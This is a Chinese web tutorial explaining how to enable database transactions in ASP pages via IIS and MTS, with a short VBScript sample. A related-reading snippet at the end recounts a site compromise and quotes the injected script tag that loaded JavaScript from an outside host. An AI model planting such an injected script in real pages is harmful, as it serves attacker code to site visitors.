在您的网站中加入互动功能

2016-01-29 18:01 2 1 收藏

在您的网站中加入互动功能,在您的网站中加入互动功能

【 tulaoshi.com - ASP 】

  如何在您的网站中加入互动功能(TRANSACTION)呢?



IIS(Internet Information Server)与MTS(Mircrosoft Transaction Server)紧密配

合,数据库的更改有"同生共死"的互动(TRANSACTION)功能。



当ASP程序中所有的数据库的变更都成功时,才算成功;有一个数据库的更改失败时,

已经更改的数据库资料将自动恢复(rollback),这就是所谓的互动(TRANSACTION)功能。



比如从甲帐户汇款到乙帐户时,若乙帐户的数据库更改失败,已经更改的甲帐户的数据库

资料将自动恢复。多个数据库的资料不是"同生"就是"共死"。



不是所有的数据库都提供互动功能,如:ACCESS则没有提供,SQL SERVER和ORACLE则提供

互动功能。



ASP程序中互动功能的有效范围是一个ASP程序,就是说,涉及到这个ASP程序的所有的数据

库的更改都有互动功能。



如何在ASP程序中告诉IIS要做互动呢?



方法为在ASP程序的第一行加上"TRANSACTION=Required",告诉IIS这个ASP程序使用互动

的功能的处理方法,ASP程序如下:


< %@ TRANSACTION=Required LANGUAGE="VBScript"%

...

< % Set obj1 = Server.CreateObject("testobj.cls1")%

< % = obj1.data3t(1,10)%

< %

Sub OnTransactionCommit()

....

End Sub


Sub OnTransactionAbort()

....

End Sub

%
 

来源:http://www.tulaoshi.com/n/20160129/1504002.html

延伸阅读
前几天由于编程的需要。要做一个有3D边框的static控件,于是在查考别人做的3DBar的基础上,自己做了一个C3DBar类,现在把它奉献给大家。下面是C3DBar的使用方法。 这个类的使用方法很简单,3DBbar中一共有7个public函数。分别为: void SetBarColour(COLORREF cr); void DrawHorizontal(CDC* pDC, CRect& BarRect); ...
标签: Web开发
网页制作时经常用到1个像素高或宽的细线条来修饰,可以使网页的布局更加清晰,整体更加美观。由于一直习惯使用Dreamweaver编辑网页,所以在阅读《巧妙的在Fontpage中给网页加入一条竖直线》一文后,笔者利用文中的方法二,在Dreamweaver中给网页加入一条竖直线。 依葫芦画瓢,按照《巧妙》一文的所述的方法二,笔者在Dreamweaver...
标签: Web开发
网页制作时经常用到1个像素高或宽的细线条来修饰,可以使网页的布局更加清晰,整体更加美观。由于一直习惯使用Dreamweaver编辑网页,所以在阅读《巧妙地在Frontpage中给网页加入一条竖直线》一文后,笔者利用文中的方法二,在Dreamweaver中给网页加入一条竖直线。 依葫芦画瓢,按照《巧妙》一文的所述的方法二,笔者在Dreamweaver中插...
标签: Web开发
JavaScript基本数据结构 JavaScript提供脚本语言的编程与C++非常相似,它只是去掉了C语言中有关指针等容易产生的错误,并提供了功能强大的类库。对于已经具备C++或C语言的人来说,学习JavaScript脚本语言是一件非常轻松愉快的事。 一、JavaScript代码的加入 JavaScript的脚本包括在HTML中,它成为HTML文档的一部分。与HTML标识...
标签: Web开发
昨天晚上发现访问我的网站的时候网页代码html的前面多了一串js代码。刚开始以为网站被黑了,赶紧到服务器上查看所有文件是否带有这串js代码,搜索结果没有,而且服务器也没发现被入侵的痕迹。 script src=http://fuck.ns2go.com/dir/index_pic/1.js/script 于是只能从这段代码入手,我下载这个js开发发现是下面一段代码: 代码如下: ...

经验教程

124

收藏

16
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部